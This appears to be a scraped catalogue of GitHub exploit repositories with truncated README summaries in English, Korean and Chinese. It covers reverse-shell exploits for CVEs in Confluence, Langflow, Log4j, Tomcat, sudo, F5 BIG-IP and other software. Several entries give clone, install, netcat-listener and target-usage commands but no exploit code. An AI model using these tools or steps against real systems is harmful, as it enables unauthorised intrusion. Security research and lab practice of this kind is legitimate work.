mcpExec

mcpExec is a tool that takes advantage of the CVE-2026-23744 to gather a reverse shell using the URL of the vulnerable MCPJam Inspector installation. Installation git clone https://github.com/daemoncibsec/mcpExec.git cd mcpExec python3 -m venv venv source venv/bin/activate pip install rich pip...

SSRFX

CVE-2014-4210+Redis 권한 없이 접근 설치 pip install -r requirements.txt 사용 usage: SSRFX.py -h --url URL --threads THREADS --app APP --network NETWORK --type TYPE --vulapp VULAPP --lhost LHOST --lport LPORT --rhost RHOST --rport RPORT SSRF Explotion Tools optional arguments: -h, --help show this help...

cve-2020-14008

CVE-2020-14008 ManageEngine 익스플로잇 이게 무엇인가요? 이 스크립트는 ManageEngine Applications Manager의 CVE-2020-14008 취약점을 악용하여 SYSTEM 권한으로 리버스 셸을 획득합니다. 요구 사항 pip3 install requests urllib3 사용 방법 1. 리스너 시작 nc -nlvp 9001 2. 익스플로잇 실행 python3 cve-2020-14008-exploit.py 예제 Direct attack python3...

langflow-rce-exploit

Langflow RCE Exploit CVE-2025-3248 Remote Code Execution Exploit for Langflow CVE-2025-3248 Features Automatic vulnerability detection Multiple exploitation modes: Interactive shell Single command execution Reverse shell connection File upload capability Colorized user interface Multiple reverse...

CVE-2019-0232

CVE-2019-0232 설명 이 도구는 명령 실행 모드와 리버스 셸 모드를 모두 제공하여 CVE‑2019‑0232에 대한 익스플로잇 워크플로를 자동화합니다. 명령에 대한 자동 URL 인코딩을 지원하고, 임시 HTTP 서버를 실행하여 nc.exe를 호스팅한 후 certutil을 사용하여 취약한 Apache Tomcat CGI 엔드포인트에 업로드하고, 리버스 셸을 트리거한 다음 자동으로 HTTP 서버를 종료합니다. 스크립트는 필요한 인수를 검증하고, 페이로드 URL을 구성하며, 익스플로잇 요청을 전송하여 원활하고 통제된 익스플로...

CVE-2022-25765

CVE-2022-25765 Exploit A small POC exploit for CVE-2022-25765, PDFkit-CMD-Injection Usage 1. Start a netcat listener on your attack machine: nc -lvnp 4444 2. Run the exploit: python cve-2022-25765.py -t http://TARGETIP:PORT -l YOURIP -p YOURPORT Example: python cve-2022-25765.py -t...

CVE-2022-22947

CVE-2022-22947 CVE-2022-22947EXP,CVE-2022-22947RCE Usage Reverse Shell python3 CVE-2022-22947.py 目标网址 弹shell的IP 端口 Execute Command python3 CVE-2022-22947.py 目标网址 命令...

cve-2018-2628

cve-2018-2628 cve-2018-2628 리버스 셸 글 https://pi.wrysunnylove.cn/archives/58...

CVE-2022-26134

Confluence CVE-2022-26134 능동적 악용 개요 CVE-2022-26134는 Atlassian Confluence 에 영향을 미치는 치명적인 원격 코드 실행RCE 취약점입니다. 이 취약점은 인증되지 않은 공격자가 취약한 엔드포인트에 OGNL 표현식을 주입하여 임의 코드를 실행할 수 있게 합니다. 영향을 받는 버전 패치 릴리스 이전의 Atlassian Confluence Server 및 Data Center 의 지원되는 모든 버전. 악용 세부 정보 다음 CURL 명령은 Java의 Nashorn 엔진을 활용하여 리...

cve-2023-22527

Confluence 메모리에서 임의 코드 실행 CVE-2023-22527은 Atlassian Confluence에 영향을 미치는 널리 알려진 취약점입니다. 이 취약점에 대한 대부분의 익스플로잇은 freemarker.template.utility.Execute를 사용하여 운영 체제 명령을 실행하지만, 훨씬 더 잘할 수 있습니다. 이 저장소에서는 디스크에 닿지 않고최소한 사용자가 지시하기 전까지는 페이로드를 실행하는 CVE-2023-22527용 go-exploit 구현 세 가지를 찾을 수 있습니다. 다음 하위 디렉터리에서 익스플로...

CVE-2017-8869

CVE-2017-8869 - MediaCoder 0.8.48.5888 - 로컬 버퍼 오버플로우 SEH 리버스 셸 옵션으로 재작성된 익스플로잇...

dirtycow-vdso

0xdeadbeef Dirty COW CVE-2016-5195에 대한 PoC입니다. 이 PoC는 vDSO를 패치하기 위해 /proc/self/mem 대신 ptrace에 의존합니다. 파일 시스템 바이너리를 수정하는 PoC에 비해 몇 가지 장점이 있습니다: setuid 바이너리가 필요 없음 SELinux 우회 컨테이너 탈출 파일 시스템 writeback으로 인한 커널 크래시 없음 그리고 몇 가지 단점: 아키텍처 의존적 페이로드가 어셈블리로 작성되기 때문 모든 Linux 버전에서 동작하지 않음 vDSO 변경에 영향을 받음 페이로드 ...

CVE-2019-18634

CVE-2019-18634 Ubuntu 20.04, sudo 버전 1.8.25에서 작동하는 python 익스플로잇 "./shell.sh"를 자신의 리버스 셸로 교체하세요 분석 문서: https://y3a.github.io/2021/04/17/sudo-cve-analysis/...

CVE-2025-3248

CVE-2025-3248 소개 Langflow 버전 1.3.0 이전 버전은 /api/v1/validate/code 엔드포인트에서 Python exec 함수를 통해 인증되지 않은 코드 주입에 취약합니다. 이 익스플로잇은 이 취약점을 악용하여 리버스 셸 연결을 설정합니다. 사용법 설정 git clone https://github.com/wand3rlust/CVE-2025-3248.git cd CVE-2025-3248/ python3 -m venv venv . venv/bin/activate pip install -r...

CVE-2021-44228-demo

log4j-shell-poc 최근 발견된 CVE-2021-44228 취약점에 대한 개념 증명PoC입니다. 최근 log4jJava 로깅 라이브러리에서 새로운 취약점이 발견되었습니다. 이 라이브러리는 Elasticsearch, Minecraft 등 많은 곳에서 널리 사용됩니다. 이 저장소에는 취약한 예제 애플리케이션과 이에 대한 개념 증명PoC 익스플로잇이 포함되어 있습니다. 개념 증명PoC PoC로 프로세스를 자동화하는 Python 파일이 있습니다. 요구 사항: pip install -r requirements.txt 사용 방법...

CVE-2014-6287

Poc exploitbash script bash.webm About the exploit You can get reverse shell with .sh file in Linux You can get reverse shell with .py file in Windows and Linux in windows, you need to install netcat You must specify the url example: http://target.com/ using for .py: python exploit.py using for...

F5-BIG-IP-SmuggleShell-CVE-2023-46747-Exploit

F5 BIG-IP CVE-2023-46747 – 인증되지 않은 RCE + 리버스 셸 Python3 및 Nuclei 버전 – raguraman 제작 치명적인 인증 없는 RCECVSS 9.8 - AJP + HTTP 요청 스머글링을 통한 공격 패치되지 않은 모든 BIG-IP 13.x → 17.x최신 17.1.0.3 포함에서 동작 패치: https://my.f5.com/manage/s/article/K000137353 2023년 11월 실제 익스플로잇 분석 글: 👉...

CVE-2022-36267-PoC

CVE-2022-36267 - Airspan AirSpot 5410 Unauthenticated Remote Command Injection. Overview This repository contains a Proof of Concept PoC reverse shell script for exploiting CVE-2022-36267, a critical vulnerability in Airspan AirSpot 5410 devices. The script is a practical demonstration,...

BadBash

BadBash CVE-2014-6271 ShellShock RCE PoC 도구 ======= BadBash는 CVE-2014-6271 RCE 익스플로잇 도구입니다. 기본 버전은 HTTP CGI 사이트만 확인하며 포트 1234에서 netcat 리버스 셸만 제공합니다. 개발자 : Andy Yang 버전 : 0.1.0 라이선스 : GPLv3 원본 GitHub 프로젝트 : https://github.com/RainMak3r/Rainstorm...

CVE-2012-2982

This PoC exploit for CVE-2012-2982 was written as an exercise for the "Intro to PoC scripting" Room on TryHackMe. The room can be found here: https://tryhackme.com/room/intropocscripting I was originally going to use Python to follow along, but decided to practice my Rust skills instead. I also s...